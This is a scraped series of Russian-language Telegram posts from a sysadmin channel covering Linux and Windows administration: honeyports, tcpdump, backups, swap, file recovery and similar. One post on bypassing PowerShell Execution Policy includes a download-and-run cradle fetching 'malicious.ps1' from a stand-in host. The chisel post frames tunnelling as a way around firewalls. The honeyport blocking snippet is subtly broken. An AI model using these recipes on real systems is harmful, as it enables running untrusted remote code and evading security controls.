Сканирование портов - стандартный инструмент для разведки, используемый как администраторами, так и злоумышленниками. Honeyports - это техника создания ловушек для сканеров, позволяющая выявлять потенциальные угрозы и даже блокировать их.
Honeyport - это фейковый открытый порт, который выглядит для злоумышленника как настоящая служба. Однако при попытке взаимодействия с ним можно:
nc -lvp 8080 | tee -a /var/log/honeyport.log
Теперь при подключении к порту 8080 все введенные данные будут записываться в лог.
Если добавить автоматическую блокировку через iptables:
nc -lvp 8080 | while read line; do iptables -A INPUT -s $(echo $SSH_CLIENT | awk '{print $1}') -j DROP; done
Это заблокирует IP атакующего после первой попытки взаимодействия.
$port = 3389
while ($true) {
$listener = [System.Net.Sockets.TcpListener]$port
$listener.Start()
$client = $listener.AcceptTcpClient()
$ip = $client.Client.RemoteEndPoint.Address.IPAddressToString
Write-Host "Атакующий: $ip"
New-NetFirewallRule -DisplayName "Block $ip" -Direction Inbound -RemoteAddress $ip -Action Block
$listener.Stop()
}
Этот скрипт создает ловушку на 3389 порту (RDP) и автоматически блокирует.
#linux #windows #security
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17
При анализе сетевого трафика в Linux часто используют
tcpdump, но его мощь раскрывается по-настоящему при использовании Berkeley Packet Filter (BPF). BPF позволяет фильтровать пакеты на уровне ядра, отбрасывая ненужные и снижая нагрузку на систему.BPF действует как программируемый фильтр, который определяет, какие пакеты должны быть обработаны и переданы в tcpdump. Это ускоряет анализ и снижает нагрузку на CPU.
tcpdump -i eth0 'host 192.168.1.100'
Перехватывает трафик, где участвует 192.168.1.100.
tcpdump -i eth0 'port 443'
Выводит только HTTPS-трафик.
tcpdump -i eth0 'tcp'
Отбирает только TCP-пакеты.
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'
Полезно для анализа попыток соединения.
tcpdump -i eth0 -X 'host 10.0.0.1'
Показывает содержимое пакетов в удобном виде.
tcpdump -i eth0 'tcp and port 80 and src host 192.168.1.10'
#linux #network
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
Когда нужно быстро определить, кто и где занимает больше всего места на диске, есть несколько удобных способов. Делюсь тремя вариантами, которые использую сам:
# apt install ncdu # Для Debian/Ubuntu
# yum install ncdu # Для CentOS/RHEL
# pacman -S ncdu # Для Arch Linux
Запустить можно командой
ncdu /, после чего появится интерфейс, в котором легко перемещаться по папкам. Удобно, если приходится часто мониторить дисковое пространство.
du -hs * | sort -hr | head -10
Этот однострочник покажет 10 самых "тяжелых" директорий в текущем каталоге.
Если нужно логировать результаты, можно использовать скрипт:
#!/bin/bash
echo "==================================" >> dir_size.txt
echo "Dirs size $(date +"%Y-%m-%d_%H-%M")" >> dir_size.txt
echo "==================================" >> dir_size.txt
du -hs * | sort -hr | head -10 >> dir_size.txt
Так можно отслеживать изменения занятого места во времени.
#linux #storage
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15
DHCP (Dynamic Host Configuration Protocol) - один из самых базовых сетевых протоколов, который знаком любому администратору. Однако, если его не изучать специально, можно упускать важные нюансы.
Клиент отправляет запрос на получение настроек широковещательно, поэтому сервер должен находиться в том же широковещательном домене. Если сеть сегментирована, то используется DHCP Relay, который пересылает запросы между сегментами.
Сервер слушает на UDP 67
Клиент принимает ответы на UDP 68
Помимо IP-адреса, маски и шлюза, сервер может передавать множество параметров:
Когда клиент получает IP-адрес, он арендует его на определенное время.
По истечении половины аренды клиент пытается продлить ее
Если продление не удалось, адрес остается в использовании до конца аренды
После истечения аренды клиент снова ищет сервер для получения нового IP
По MAC-адресу
По ClientID (Machine-ID), который в ряде случаев имеет приоритет
DHCP-сервер не гарантирует, что в сети не будет конфликтов IP-адресов. Он может проверять доступность IP перед выдачей, но это не исключает коллизий.
Иногда в сети появляется «нелегальный» DHCP-сервер. Например, сотрудник подключает свой домашний роутер к офисной сети, и часть клиентов начинает получать IP-адреса от него. В результате доступ в сеть ломается.
Решить проблему помогает DHCP Snooping - механизм защиты на уровне коммутаторов:
#network #DHCP
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥2
Начиная с Windows 10 1511, Microsoft изменила логику выбора принтера по умолчанию. Теперь система автоматически назначает последний использованный принтер в текущем местоположении.
Разбираемся, как отключить автоназначение принтера в Windows. Запретить системе менять принтер по умолчанию несколькими способами:
Отключите опцию «Let Windows manage my default printer» в
Настройки → Устройства → Принтеры и сканеры.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LegacyDefaultPrinterMode /t REG_DWORD /d 1 /f
Настройте параметр «Turn off Windows default printer management» в разделе:
User Configuration → Administrative Templates → Control Panel → PrintersПосле применения настроек Windows больше не будет менять принтер автоматически
#windows #printers
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🤡3🔥1
Forwarded from Network Quiz
"Network Quiz" - канал с ежедневными квизами по сетям.
Выберите из списка публичный IP-адрес:
Выберите из списка публичный IP-адрес:
Anonymous Quiz
14%
19%
37%
30%
👍10👎10😱5❤3🔥2
rsync - это инструмент для синхронизации файлов и каталогов. Пример команды для копирования логов на удалённый сервер:
rsync -avz --delete /var/log/ user@backup-server:/backup/logs/
-a - архивный режим (сохраняет права и атрибуты)
-v – показывает процесс копирования
-z – сжатие данных при передаче
--delete – удаляет на резервном сервере файлы, которых нет в исходной папке
ssh-keygen -t rsa
ssh-copy-id user@backup-server
rsync запускался автоматически, добавим задание в cron:
crontab -e
Пример задания для ежедневного копирования логов в 3 часа ночи:
0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/
0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/ >> /var/log/backup.log 2>&1
Проверить, срабатывает ли задача, можно командой:
grep rsync /var/log/syslog
#linux #backup
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16❤3
PowerShell в Windows использует Execution Policy для защиты от запуска неподписанных или вредоносных скриптов. Однако часто возникает ситуация, когда необходимо обойти эти ограничения. Разберём популярные способы.
powershell -ExecutionPolicy Bypass -File noscript.ps1
Позволяет запустить скрипт без изменения системных настроек.
Set-ExecutionPolicy Unrestricted -Scope Process
powershell -Command "Start-Process notepad.exe"
Хорошо подходит для разового выполнения команд.
IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')
Удобно для удалённого выполнения команд.
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name ExecutionPolicy -Value Unrestricted
Даёт постоянный эффект.
System.Management.Automation.PowerShell.Create().AddScript("Start-Process calc.exe").Invoke();
Подходит для внедрения в программы.
#windows #noscripts
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14
Как узнать, кто активно использует swap в Linux?
1️⃣ Проверка через
1. Откройте top
2. Нажмите f, затем выберите Swap (s)
3. Подтвердите q - появится колонка с потреблением swap
Однако top не всегда корректно отображает эти данные, поэтому в
2️⃣ Точный способ через
✏️ Bash-скрипт для проверки. Можно использовать простой скрипт, который покажет, какие процессы активно используют swap:
Этот скрипт проверяет VmSwap для каждого процесса и выводит общий объём использованного swap.
🌟 Быстрая проверка в одну команду. Если нет желания писать скрипты, можно просто выполнить:
Эта команда отобразит процессы, отсортированные по объёму используемого swap.
#linux #swap #monitoring
🧑💻 NetworkAdmin
top. В top по умолчанию нет колонки с использованием swap, но её можно включить:1. Откройте top
2. Нажмите f, затем выберите Swap (s)
3. Подтвердите q - появится колонка с потреблением swap
Однако top не всегда корректно отображает эти данные, поэтому в
htop колонку со swap вовсе убрали, чтобы не вводить пользователей в заблуждение./proc. Более надёжный способ – заглянуть в файлы /proc/$PID/smaps или /proc/$PID/status:/proc/$PID/smaps – самый точный, но требует сложных вычислений/proc/$PID/status – содержит суммарное значение в поле VmSwap, удобнее для быстрого анализа
#!/bin/bash
SUM=0
OVERALL=0
for DIR in $(find /proc/ -maxdepth 1 -type d -regex "^/proc/[0-9]+"); do
PID=$(basename $DIR)
PROGNAME=$(ps -p $PID -o comm --no-headers)
for SWAP in $(grep VmSwap $DIR/status 2>/dev/null | awk '{ print $2 }'); do
let SUM=$SUM+$SWAP
done
if (( $SUM > 0 )); then
echo "PID=$PID swapped $SUM KB ($PROGNAME)"
fi
let OVERALL=$OVERALL+$SUM
SUM=0
done
echo "Overall swap used: $OVERALL KB"
Этот скрипт проверяет VmSwap для каждого процесса и выводит общий объём использованного swap.
for file in /proc/*/status; do
awk '/VmSwap|Name/{printf $2 " " $3} END { print ""}' $file
done | sort -k 2 -n -r | less
Эта команда отобразит процессы, отсортированные по объёму используемого swap.
#linux #swap #monitoring
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10❤4
imap-backup - удобный инструмент для скачивания писем из любого IMAP ящика и сохранения их локально в формате mbox.Перенос почты: например, если нужно забрать письма из облачного сервиса.
Архивирование старых писем: можно скачать только письма за последние 3 года (или другой период) и хранить их локально.
Бэкап на случай утери доступа к облачным ящикам.
apt install rubygems -y
gem install imap-backup
imap-backup setup
Или создать конфиг вручную (
~/.imap-backup/config.json). Пример для Яндекса:
{
"version": "2.0",
"accounts": [
{
"username": "zabbix@networkadmin.ru",
"password": "pass",
"local_path": "/root/.imap-backup/zabbix_networkadmin.ru",
"folders": [],
"server": "imap.yandex.ru"
}
]
}
imap-backup скачивает письма в отдельный каталог.
Каждая IMAP-папка - это отдельный файл mbox.
Формат mbox можно легко открыть в Thunderbird с помощью ImportExportTools NG.
#backup #email
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18
В Active Directory можно хранить фото пользователей, которое затем отображается в Outlook, Word, Excel, Lync, SharePoint и даже используется в качестве аватарки в Windows.
$photo = [byte[]](Get-Content C:\PS\admin_photo.jpg -Encoding byte)
Set-ADUser vvkuzmin -Replace @{thumbnailPhoto=$photo}
Теперь фото появится в поддерживаемых приложениях и в системе.
#windows #activedirectory
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
Chisel - это удобный инструмент для создания HTTP-туннелей и проброса трафика через ограниченные сети. Он позволяет прокидывать TCP/UDP-соединения через HTTP/HTTPS, обходя firewall'ы и NAT. Полезен для удалённого администрирования, тестирования безопасности и обхода сетевых ограничений.
chisel server --port 8080 --reverse
chisel client http://server-ip:8080 R:3389:127.0.0.1:3389
Теперь можно подключаться к удалённому серверу по
localhost:3389.#network
Please open Telegram to view this post
VIEW IN TELEGRAM
5👍16🔥4👌1
Пример функции с аргументами:
#!/bin/bash
log_message() {
local level="$1"
local message="$2"
echo "[$level] $message"
}
log_message "INFO" "Скрипт запущен"
log_message "ERROR" "Произошла ошибка"
Пример работы с массивами:
#!/bin/bash
servers=("server1" "server2" "server3")
for srv in "${servers[@]}"; do
echo "Подключаюсь к $srv..."
done
Разбираем JSON и получаем данные:
#!/bin/bash
json='{"user": "admin", "role": "root"}'
user=$(echo "$json" | jq -r '.user')
role=$(echo "$json" | jq -r '.role')
echo "Имя пользователя: $user"
echo "Роль: $role"
#bash
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤2
Если вы ищете простой и надежный способ бэкапа и восстановления Linux-систем, попробуйте ReaR (Relax and Recover). Этот инструмент позволяет создавать резервные копии как физических серверов, так и виртуальных машин, формируя загрузочный ISO-образ и архив данных.
apt install rear genisoimage syslinux nfs-common
Этот метод удобен, так как не требует остановки системы и работает без установки дополнительных агентов.
OUTPUT=ISO
OUTPUT_URL=nfs://192.168.13.50/backup
BACKUP=NETFS
BACKUP_URL=nfs://192.168.13.50/backup
BACKUP_PROG_EXCLUDE=("${BACKUP_PROG_EXCLUDE[@]}" '/media' '/var/crash')
Запуск бэкапа:
rear -v -d mkbackup
На выходе получаем файлы:
backup.tar.gz, rear-debian.iso, README
Запускаем восстановление:
rear -v -d recover
ReaR автоматически восстанавливает разметку дисков, LVM, файловые системы и сетевые настройки.
#linux #backup
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18❤2😡1
В десктопных версиях Windows 10 и 11 существует лимит на максимальное количество одновременных сетевых подключений – 20 активных сессий. Если этот предел превышен (например, при расшаривании папки или сетевого принтера), появляется ошибка:
🚫 Дополнительные подключения к этому удаленному компьютеру сейчас невозможны, так как их число достигло предела.
Microsoft искусственно ограничивает использование десктопных версий Windows в качестве сервера, предлагая приобрести лицензию Windows Server, где подобных ограничений нет.
Просмотр активных подключений:
net session
Отключение всех сессий с конкретного IP:
net session \\192.168.21.11 /d /y
Сокращение таймаута автоматического отключения неактивных клиентов (по умолчанию 15 минут, можно снизить до 5):
net config server /autodisconnect:5
$maxSessions = 18 # Устанавливаем порог (лучше немного ниже лимита)
$activeSessions = (query session 2>$null | Measure-Object -Line).Lines
if ($activeSessions -ge $maxSessions) {
Write-Host "Превышено допустимое количество подключений! Отключаем неактивные сессии..."
Get-CimInstance Win32_ServerConnection | ForEach-Object {
Net Session \\$_.ComputerName /DELETE /Y
Write-Host "Отключена сессия с $_.ComputerName"
}
} else {
Write-Host "Текущих подключений: $activeSessions. Все в пределах нормы."
}
Этот скрипт:
Проверяет количество активных подключений.
Если превышен заданный порог (например, 18 сессий), он отключает неактивные.
Выводит информацию в консоль.
Добавить исполнение в планировщик:
schtasks /create /tn "AutoCloseSessions" /tr "powershell.exe -File C:\Scripts\AutoCloseSessions.ps1" /sc minute /mo 5 /ru SYSTEM
#windows #sessions
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17
В корпоративной среде возникают задачи ограничения доступа к определенным сайтам и приложениям. В Windows это можно реализовать несколькими способами: через GPO (Group Policy Object), PowerShell, брандмауэр (Windows Firewall) и DNS-фильтрацию. Сегодня разберем эти методы блокировки.
Конфигурация пользователя → Политики → Административные шаблоны → Компоненты Windows → Internet Explorer → Панель управления Интернет-параметрами
Set-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "127.0.0.1 vk.com`n127.0.0.1 youtube.com" -Force
Этот скрипт можно развернуть через GPO при входе пользователя в систему.
Добавляем правило в брандмауэр Windows для блокировки сайтов:
New-NetFirewallRule -DisplayName "Block Facebook" -Direction Outbound -Action Block -RemoteAddress "157.240.0.0/16"
Этот метод хорош тем, что работает даже в Chrome, Yandex и других браузерах.
$ips = [System.Net.Dns]::GetHostAddresses("youtube.com") | Select-Object IPAddressToString
New-NetFirewallRule -DisplayName "Block YouTube" -Direction Outbound -Action Block -RemoteAddress $ips.IPAddressToString
Конфигурация пользователя → Административные шаблоны → Система
Конфигурация компьютера → Политики → Настройки Windows → Параметры безопасности → Политики ограничения программ
Добавляем правило для C:\Users*\AppData\Local\Telegram Desktop.
$blockedApps = @("telegram.exe", "chrome.exe", "utorrent.exe")
while ($true) {
Get-Process | Where-Object { $_.ProcessName -in $blockedApps } | Stop-Process -Force
Start-Sleep -Seconds 5
}
Этот скрипт можно добавить в автозагрузку через GPO или Task Scheduler.
New-AppLockerPolicy -Xml "C:\Policies\AppLocker.xml" -RuleCollectionType Executable
Можно указать список разрешенных программ, и все остальные просто не запустятся.
#windows #security
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12
Удаление файлов - дело секундное, но восстановление их может быть нетривиальной задачей. В файловых системах ext4 и XFS удаленные файлы могут оставаться на диске до тех пор, пока их блоки не будут перезаписаны. Поговорим про основные способы восстановления.
extundelete позволяет восстановить файлы, если файловая система не была перезаписана.Установка:
sudo apt install extundelete
Размонтируем диск (например, /dev/sdb1):
sudo umount /dev/sdb1
Восстановим все удаленные файлы:
sudo extundelete /dev/sdb1 --restore-all
Или восстановим конкретный файл:
sudo extundelete /dev/sdb1 --restore-file /home/user/deleted.txt
Файлы будут сохранены в каталоге RECOVERED_FILES.
Открываем диск:
sudo debugfs /dev/sdb1
Показываем последние удаленные файлы:
lsdel
Восстанавливаем файл по inode:
dump <номер inode> recovered_file.txt
Установим утилиту:
git clone https://github.com/ianka/xfs_undelete.git
cd xfs_undelete
make
sudo make install
Запускаем сканирование диска и восстановление файлов:
sudo xfs_undelete -d /dev/sdb1 -o /mnt/recovery
Все найденные файлы окажутся в
/mnt/recovery.#linux #recovery
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13